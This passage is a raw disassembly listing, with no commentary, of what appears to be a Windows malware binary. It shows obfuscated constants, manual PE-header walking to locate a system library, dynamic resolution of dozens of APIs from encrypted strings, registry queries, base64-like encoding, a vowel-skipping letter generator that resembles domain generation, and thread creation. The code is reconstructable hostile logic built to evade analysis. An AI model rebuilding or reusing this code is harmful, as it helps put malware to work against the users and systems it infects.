		mov	edx, dword_44D1E0
		dec	edx
		mov	[esi+eax], dl
		jmp	short loc_443DD0
; ---------------------------------------------------------------------------


loc_443D7A:				; CODE XREF: sub_443D39+29j
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_44CD80	; SetFilePointer
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, dword_44D188
		add	eax, 0Bh
		add	eax, dword_44D1A0
		push	eax
		push	esi
		push	edi
		call	ds:dword_44602C	; ReadFile
		mov	ebx, eax
		push	edi
		call	ds:dword_44B82C	; CloseHandle
		cmp	ebx, dword_44D0D4
		jnz	short loc_443DD0
		mov	eax, dword_44D108
		add	eax, dword_44D134
		sub	eax, 0Dh
		mov	edx, dword_44D0D8
		sub	edx, 5
		mov	[esi+eax], dl


loc_443DD0:				; CODE XREF: sub_443D39+3Fj
					; sub_443D39+7Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443D39	endp


; =============== S U B	R O U T	I N E =======================================



sub_443DD5	proc near		; CODE XREF: sub_44475F+267p
		push	edi
		push	offset byte_44DBCF
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C840, eax
		push	offset byte_44DBC7
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_447FBC, eax
		push	offset byte_44DBB3
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_449598, eax
		push	offset byte_44DBA3
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A208, eax
		push	offset dword_44DB94
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C968, eax
		push	offset byte_44DB85
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446008, eax
		push	offset byte_44DB73
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44CD80, eax
		push	offset word_44DB66
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44CD6C, eax
		push	offset byte_44DB57
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44B82C, eax
		push	offset dword_44DB48
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C7F8, eax
		push	offset dword_44DB3C
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446000, eax
		push	offset byte_44DB31
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_449094, eax
		push	offset word_44DB1A
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44600C, eax
		push	offset byte_44DB03
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C81C, eax
		push	offset byte_44DAED
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C7D8, eax
		push	offset byte_44DADD
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44603C, eax
		push	offset byte_44DAD1
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44602C, eax
		push	offset byte_44DAC1
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A20C, eax
		push	offset word_44DAB2
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44B804, eax
		push	offset dword_44DAA4
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4499EC, eax
		push	offset byte_44DA97
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4495CC, eax
		push	offset word_44DA86
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A420, eax
		push	offset byte_44DA75
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446030, eax
		push	offset byte_44DA65
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C950, eax
		push	offset byte_44DA53
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A21C, eax
		push	offset word_44DA42
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_447FB4, eax
		push	offset byte_44DA35
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4495BC, eax
		push	offset dword_44DA24
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C844, eax
		push	offset byte_44DA0F
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C82C, eax
		push	offset byte_44D9FF
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_447FB0, eax
		push	offset word_44D9EA
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_449088, eax
		push	offset byte_44D9DD
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A534, eax
		push	offset byte_44D9CD
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C7EC, eax
		push	offset byte_44D9BF
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44B81C, eax
		push	offset byte_44D9A9
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44B80C, eax
		push	offset word_44D992
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4495B0, eax
		push	offset word_44D97A
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4499F4, eax
		push	offset word_44D962
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446010, eax
		push	offset byte_44D949
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C7E4, eax
		push	offset word_44D936
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C960, eax
		push	offset word_44D91E
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C958, eax
		push	offset byte_44D90D
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44CD78, eax
		push	offset byte_44D8FB
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4495A8, eax
		push	offset dword_44D8EC
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44CD7C, eax
		push	offset byte_44D8D5
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4499F8, eax
		push	offset byte_44D8BF
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A204, eax
		push	offset dword_44D8A4
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44B828, eax
		push	offset word_44D88A
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C800, eax
		push	offset word_44D876
		call	sub_43AC82
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446038, eax
		push	offset byte_44D85F
		call	sub_43AC82
		add	esp, 0C8h
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C808, eax
		pop	edi
		retn
sub_443DD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444356	proc near		; CODE XREF: sub_44318C+BAp
					; sub_44318C+F1p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 0Ah
		mov	edx, 0CCCCCCCDh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		add	edi, 61h
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		mov	al, [ebp+arg_0]
		cmp	al, 65h
		jz	short loc_444397
		cmp	al, 79h
		jz	short loc_444397
		cmp	al, 75h
		jz	short loc_444397
		cmp	al, 69h
		jz	short loc_444397
		cmp	al, 6Fh
		jz	short loc_444397
		cmp	al, 61h
		jnz	short loc_44439B


loc_444397:				; CODE XREF: sub_444356+2Bj
					; sub_444356+2Fj ...
		add	[ebp+arg_0], 1


loc_44439B:				; CODE XREF: sub_444356+3Fj
		cmp	[ebp+arg_0], 6Ah
		jnz	short loc_4443A5
		add	[ebp+arg_0], 1


loc_4443A5:				; CODE XREF: sub_444356+49j
		movzx	eax, [ebp+arg_0]
		pop	edi
		pop	ebx
		leave
		retn
sub_444356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4443AD	proc near		; DATA XREF: .data:0044D324o
		push	ebp
		mov	ebp, esp
		push	offset dword_44C964
		call	ds:dword_4499F4	; InterlockedIncrement
		mov	eax, ds:dword_44C964
		pop	ebp
		retn	4
sub_4443AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4443C4	proc near		; CODE XREF: sub_441F97+173p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, ebx
		add	eax, 2
		mov	ecx, 3
		mov	edx, 0AAAAAAABh
		mul	edx
		shr	edx, 1
		mov	[ebp+var_4], edx
		mov	edi, edx
		shl	edi, 2
		mov	edx, [ebp+arg_C]
		dec	edx
		cmp	edi, edx
		jbe	short loc_44443F
		xor	eax, eax
		jmp	loc_4444F1
; ---------------------------------------------------------------------------


loc_4443FC:				; CODE XREF: sub_4443C4+83j
		push	esi
		push	[ebp+arg_0]
		call	sub_43E2CF
		add	esp, 8
		mov	eax, dword_44D170
		movsx	edx, word_44D220
		add	eax, edx
		sub	eax, 9
		sub	ebx, eax
		movsx	eax, word_44D11C
		dec	eax
		add	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax
		movsx	eax, word_44D194
		movsx	edx, word_44D23C
		add	eax, edx
		sub	eax, 0Ah
		lea	esi, [esi+eax]


loc_44443F:				; CODE XREF: sub_4443C4+2Fj
		mov	eax, dword_44D104
		dec	eax
		cmp	ebx, eax
		jnb	short loc_4443FC
		movsx	eax, word_44D130
		add	eax, dword_44D1E8
		sub	eax, 9
		cmp	ebx, eax
		jbe	short loc_4444D7
		push	3
		mov	eax, dword_44D0B0
		add	eax, dword_44D09C
		sub	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_44B818
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_7]
		push	eax
		call	ds:dword_44B808
		push	esi
		lea	eax, [ebp+var_7]
		push	eax
		call	sub_43E2CF
		add	esp, 20h
		mov	eax, dword_44D15C
		add	eax, dword_44D158
		sub	eax, 5
		mov	byte ptr [esi+eax], 3Dh
		mov	eax, dword_44D1C8
		movsx	edx, word_44D110
		add	eax, edx
		dec	eax
		cmp	ebx, eax
		jnz	short loc_4444C4
		mov	eax, dword_44D24C
		sub	eax, 7
		mov	byte ptr [esi+eax], 3Dh


loc_4444C4:				; CODE XREF: sub_4443C4+F2j
		movsx	eax, word_44D0B8
		add	eax, dword_44D188
		sub	eax, 0Eh
		lea	esi, [esi+eax]


loc_4444D7:				; CODE XREF: sub_4443C4+97j
		movsx	eax, word_44D1F0
		sub	eax, 2
		movsx	edx, word_44D1DC
		sub	edx, 9
		mov	[esi+eax], dl
		xor	eax, eax
		inc	eax


loc_4444F1:				; CODE XREF: sub_4443C4+33j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4443C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4444F6	proc near		; DATA XREF: .data:0044D350o
		mov	eax, 80004001h
		retn	10h
sub_4444F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4444FE	proc near		; DATA XREF: .data:0044D34Co
		mov	eax, 80004001h
		retn	8
sub_4444FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_444506	proc near		; DATA XREF: .data:0044D334o
		mov	eax, 80004001h
		retn	18h
sub_444506	endp


; =============== S U B	R O U T	I N E =======================================



sub_44450E	proc near		; CODE XREF: sub_440CB4+256p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, [esp+8+arg_0]
		mov	edi, esi
		movsx	eax, word_44D120
		movsx	edx, word_44D12C
		add	eax, edx
		sub	eax, 0Ah
		cmp	edi, eax
		jge	short loc_444558
		movsx	eax, word_44D0F8
		add	eax, 4
		imul	edi, eax
		mov	eax, dword_44D10C
		inc	eax
		mov	edx, esi
		add	edx, eax
		movsx	eax, word_44D1F0
		add	eax, 2
		imul	edx, eax
		sub	edi, edx
		jmp	loc_4446A9
; ---------------------------------------------------------------------------


loc_444558:				; CODE XREF: sub_44450E+1Dj
		dec	edi
		mov	eax, dword_44D1BC
		add	eax, 9
		add	eax, dword_44D14C
		cmp	edi, eax
		jge	short loc_44459B
		mov	eax, dword_44D248
		add	eax, dword_44D0EC
		sub	eax, 4
		imul	edi, eax
		mov	eax, edi
		sub	eax, esi
		movsx	edx, word_44D190
		movsx	ecx, word_44D0F4
		lea	edx, [edx+ecx+1]
		mov	edi, eax
		sub	edi, edx
		jmp	loc_4446A9
; ---------------------------------------------------------------------------


loc_44459B:				; CODE XREF: sub_44450E+5Bj
		dec	edi
		mov	eax, dword_44D10C
		add	eax, 22h
		cmp	edi, eax
		jge	short loc_4445CC
		movsx	eax, word_44D12C
		add	eax, dword_44D24C
		sub	eax, 0Eh
		imul	edi, eax
		movsx	eax, word_44D114
		add	eax, 39h
		sub	edi, eax
		jmp	loc_4446A9
; ---------------------------------------------------------------------------


loc_4445CC:				; CODE XREF: sub_44450E+98j
		dec	edi
		movsx	eax, word_44D228
		add	eax, 20h
		cmp	edi, eax
		jge	short loc_444607
		mov	eax, dword_44D1D8
		movsx	edx, word_44D23C
		add	eax, edx
		sub	eax, 6
		imul	edi, eax
		mov	eax, dword_44D0BC
		add	eax, 3Fh
		movsx	edx, word_44D190
		add	eax, edx
		sub	edi, eax
		jmp	loc_4446A9
; ---------------------------------------------------------------------------


loc_444607:				; CODE XREF: sub_44450E+CBj
		dec	edi
		mov	eax, dword_44D094
		add	eax, 2Ah
		add	eax, dword_44D0F0
		cmp	edi, eax
		jge	short loc_44463F
		movsx	eax, word_44D130
		add	eax, dword_44D134
		sub	eax, 4
		imul	edi, eax
		mov	eax, dword_44D13C
		add	eax, 4Bh
		add	eax, dword_44D1A4
		sub	edi, eax
		jmp	short loc_4446A9
; ---------------------------------------------------------------------------


loc_44463F:				; CODE XREF: sub_44450E+10Aj
		dec	edi
		movsx	eax, word_44D120
		add	eax, 2Dh
		cmp	edi, eax
		jge	short loc_44466D
		movsx	eax, word_44D0B8
		sub	eax, 7
		imul	edi, eax
		mov	eax, dword_44D150
		add	eax, 63h
		add	eax, dword_44D1D0
		sub	edi, eax
		jmp	short loc_4446A9
; ---------------------------------------------------------------------------


loc_44466D:				; CODE XREF: sub_44450E+13Ej
		dec	edi
		mov	eax, dword_44D134
		add	eax, 35h
		cmp	edi, eax
		jge	short loc_444696
		movsx	eax, word_44D0E4
		imul	edi, eax
		mov	eax, dword_44D14C
		add	eax, 64h
		add	eax, dword_44D22C
		sub	edi, eax
		jmp	short loc_4446A9
; ---------------------------------------------------------------------------


loc_444696:				; CODE XREF: sub_44450E+16Aj
		movsx	eax, word_44D114
		mov	edx, dword_44D1C4
		lea	eax, [eax+edx+2Fh]
		sub	edi, eax


loc_4446A9:				; CODE XREF: sub_44450E+45j
					; sub_44450E+88j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_44450E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4446AE	proc near		; DATA XREF: sub_43E524+188o
		push	ebp
		mov	ebp, esp


loc_4446B1:				; CODE XREF: sub_4446AE+30j
		call	sub_43AB3B
		mov	eax, dword_44D140
		sub	eax, 7
		mov	edx, dword_44D1E0
		add	edx, 0EA5Bh
		movsx	ecx, word_44D0E8
		add	edx, ecx
		imul	eax, edx
		push	eax
		call	ds:dword_44C80C
		pop	ecx
		jmp	short loc_4446B1
sub_4446AE	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4446E4	proc near		; DATA XREF: sub_43A39F+16Fo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4495C8	; DefWindowProcA
		pop	edi
		pop	ebp
		retn	10h
sub_4446E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444702	proc near		; CODE XREF: sub_43F294+19Fp
					; sub_43F294+20Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		mov	eax, dword_44D0E0
		sub	eax, 2
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_44959C	; RegOpenKeyExA
		mov	edi, eax
		or	edi, edi
		jz	short loc_44472F
		xor	eax, eax
		jmp	short loc_44475C
; ---------------------------------------------------------------------------


loc_44472F:				; CODE XREF: sub_444702+27j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	ds:dword_446044	; RegQueryValueExA
		mov	edi, eax
		push	[ebp+var_4]
		call	ds:dword_44C7E8	; RegCloseKey
		or	edi, edi
		jz	short loc_444759
		xor	eax, eax
		jmp	short loc_44475C
; ---------------------------------------------------------------------------


loc_444759:				; CODE XREF: sub_444702+51j
		xor	eax, eax
		inc	eax


loc_44475C:				; CODE XREF: sub_444702+2Bj
					; sub_444702+55j
		pop	edi
		leave
		retn
sub_444702	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44475F	proc near		; CODE XREF: start+1p

var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_127		= byte ptr -127h
var_124		= byte ptr -124h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	ebx
		push	esi
		push	edi
		lea	eax, sub_43A39F
		mov	[ebp+var_10], eax
		mov	edx, eax
		mov	ecx, dword_44D170
		add	ecx, 0Bh
		mov	eax, edx
		shr	eax, cl
		mov	edx, dword_44D1E0
		add	edx, 0Ah
		add	edx, dword_44D1D4
		mov	ecx, edx
		mov	ebx, eax
		shl	ebx, cl


loc_444798:				; CODE XREF: sub_44475F+53j
					; sub_44475F+84j ...
		mov	[ebp+var_18], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_4447B4
		movsx	eax, word_44D148
		add	eax, 10000h
		sub	ebx, eax
		jmp	short loc_444798
; ---------------------------------------------------------------------------


loc_4447B4:				; CODE XREF: sub_44475F+43j
		mov	eax, dword_44D198
		add	eax, 33h
		movsx	edx, word_44D110
		add	eax, edx
		mov	esi, ebx
		add	esi, eax
		mov	eax, ebx
		add	eax, [esi]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_10]
		cmp	eax, ecx
		jbe	short loc_4447E5
		mov	eax, dword_44D09C
		add	eax, 0FFFFh
		sub	ebx, eax
		jmp	short loc_444798
; ---------------------------------------------------------------------------


loc_4447E5:				; CODE XREF: sub_44475F+76j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_444809
		mov	eax, dword_44D0C8
		add	eax, 0FFFCh
		add	eax, dword_44D1C8
		sub	ebx, eax
		jmp	short loc_444798
; ---------------------------------------------------------------------------


loc_444809:				; CODE XREF: sub_44475F+94j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_C], eax
		mov	eax, dword_44D198
		add	eax, dword_44D0DC
		sub	eax, 9
		mov	[ebp+var_4], eax
		jmp	loc_4449AB
; ---------------------------------------------------------------------------


loc_44482B:				; CODE XREF: sub_44475F+258j
		mov	eax, ebx
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_4]
		mov	[ebp+var_12C], eax
		mov	edx, dword_44D1E0
		add	edx, dword_44D184
		sub	edx, 2
		cmp	[eax], edx
		jz	loc_4449BD
		mov	eax, [ebp+var_12C]
		mov	edx, ebx
		add	edx, [eax+0Ch]
		mov	[ebp+var_130], edx
		push	edx
		lea	eax, [ebp+var_127]
		push	eax
		call	sub_445970
		mov	eax, dword_44D184
		add	eax, dword_44D1CC
		sub	eax, 2
		mov	[ebp+var_28], eax
		jmp	short loc_4448A3
; ---------------------------------------------------------------------------


loc_444881:				; CODE XREF: sub_44475F+164j
		mov	eax, [ebp+var_28]
		mov	al, [ebp+eax+var_127]
		cmp	al, 61h
		jle	short loc_4448A0
		cmp	al, 7Ah
		jge	short loc_4448A0
		mov	eax, [ebp+var_28]
		lea	eax, [ebp+eax+var_127]
		sub	byte ptr [eax],	20h


loc_4448A0:				; CODE XREF: sub_44475F+12Ej
					; sub_44475F+132j
		inc	[ebp+var_28]


loc_4448A3:				; CODE XREF: sub_44475F+120j
		mov	eax, [ebp+var_28]
		movsx	eax, [ebp+eax+var_127]
		movsx	edx, word_44D130
		movsx	ecx, word_44D228
		add	edx, ecx
		sub	edx, 6
		cmp	eax, edx
		jnz	short loc_444881
		mov	eax, dword_44D0BC
		add	eax, dword_44D0CC
		cmp	byte ptr [ebp+eax+var_130+1], 4Bh
		jnz	loc_4449A7
		mov	eax, dword_44D234
		cmp	byte ptr [ebp+eax+var_12C+3], 45h
		jnz	loc_4449A7
		mov	eax, dword_44D1FC
		add	eax, dword_44D0AC
		cmp	byte ptr [ebp+eax+var_130+2], 52h
		jnz	loc_4449A7
		mov	eax, dword_44D16C
		cmp	[ebp+eax+var_124], 4Ch
		jnz	loc_4449A7
		mov	eax, dword_44D1E4
		add	eax, dword_44D1EC
		cmp	[ebp+eax+var_128], 33h
		jnz	short loc_4449A7
		mov	eax, dword_44D0B0
		add	eax, dword_44D1AC
		cmp	byte ptr [ebp+eax+var_130+2], 32h
		jnz	short loc_4449A7
		mov	eax, [ebp+var_12C]
		mov	edx, ebx
		add	edx, [eax+10h]
		mov	[ebp+var_138], edx
		mov	eax, dword_44D0D4
		mov	[ebp+var_134], eax


loc_444963:				; CODE XREF: sub_44475F+244j
		mov	eax, [ebp+var_138]
		mov	esi, eax
		add	esi, [ebp+var_134]
		mov	edi, [esi]
		mov	eax, dword_44D24C
		add	eax, dword_44D0E0
		sub	eax, 0Bh
		cmp	edi, eax
		jz	short loc_4449BD
		push	edi
		call	sub_4421FA
		pop	ecx
		cmp	dword_44D254, 0
		jnz	short loc_4449BD
		movsx	eax, word_44D1B8
		dec	eax
		add	[ebp+var_134], eax
		jmp	short loc_444963
; ---------------------------------------------------------------------------
		jmp	short loc_4449BD
; ---------------------------------------------------------------------------


loc_4449A7:				; CODE XREF: sub_44475F+179j
					; sub_44475F+18Cj ...
		add	[ebp+var_4], 14h


loc_4449AB:				; CODE XREF: sub_44475F+C7j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_4], eax
		jb	loc_44482B


loc_4449BD:				; CODE XREF: sub_44475F+EBj
					; sub_44475F+224j ...
		cmp	dword_44D254, 0
		jz	short loc_444A1A
		call	sub_443DD5
		call	sub_442ADD
		call	sub_4430CE
		mov	edx, eax
		mov	[ebp+var_19], dl
		movzx	eax, [ebp+var_19]
		mov	edx, dword_44D13C
		sub	edx, 6
		cmp	eax, edx
		jz	short loc_444A1A
		lea	eax, [ebp+var_24]
		push	eax
		movsx	eax, word_44D190
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset sub_43A39F
		mov	eax, dword_44D0DC
		add	eax, dword_44D108
		sub	eax, 9
		push	eax
		push	0
		call	ds:dword_44CD70	; CreateThread


loc_444A1A:				; CODE XREF: sub_44475F+265j
					; sub_44475F+28Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44475F	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A1F	proc near		; DATA XREF: .data:0044D354o
		mov	eax, 80004001h
		retn	18h
sub_444A1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444A27	proc near		; CODE XREF: sub_43AE0A+108p
					; sub_43B947+179p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		movsx	esi, word_44D110
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_44EC24
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr ds:0[ebx]
		mov	edi, eax
		mov	eax, dword_44D16C
		sub	eax, 2
		cmp	edi, eax
		jz	short loc_444A5E
		xor	eax, eax
		jmp	short loc_444AC9
; ---------------------------------------------------------------------------


loc_444A5E:				; CODE XREF: sub_444A27+31j
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+10h]
		mov	edi, eax
		mov	eax, dword_44D124
		add	eax, dword_44D134
		sub	eax, 6
		cmp	edi, eax
		jnz	short loc_444ABE
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+14h]
		mov	edi, eax
		mov	eax, dword_44D1CC
		add	eax, dword_44D238
		sub	eax, 0Ah
		cmp	edi, eax
		jnz	short loc_444AB5
		mov	eax, dword_44D154
		mov	esi, eax
		add	esi, dword_44D234
		sub	esi, 5


loc_444AB5:				; CODE XREF: sub_444A27+7Cj
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_444ABE:				; CODE XREF: sub_444A27+59j
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, esi


loc_444AC9:				; CODE XREF: sub_444A27+35j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_444A27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444ACE	proc near		; CODE XREF: sub_43D16C+18Fp

var_12110	= byte ptr -12110h
var_1210C	= word ptr -1210Ch
var_1210A	= word ptr -1210Ah
var_12108	= dword	ptr -12108h
var_12104	= byte ptr -12104h
var_12000	= word ptr -12000h
var_11FFE	= byte ptr -11FFEh
var_1FFF	= byte ptr -1FFFh
var_1FB3	= byte ptr -1FB3h
var_1FB2	= byte ptr -1FB2h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 12110h
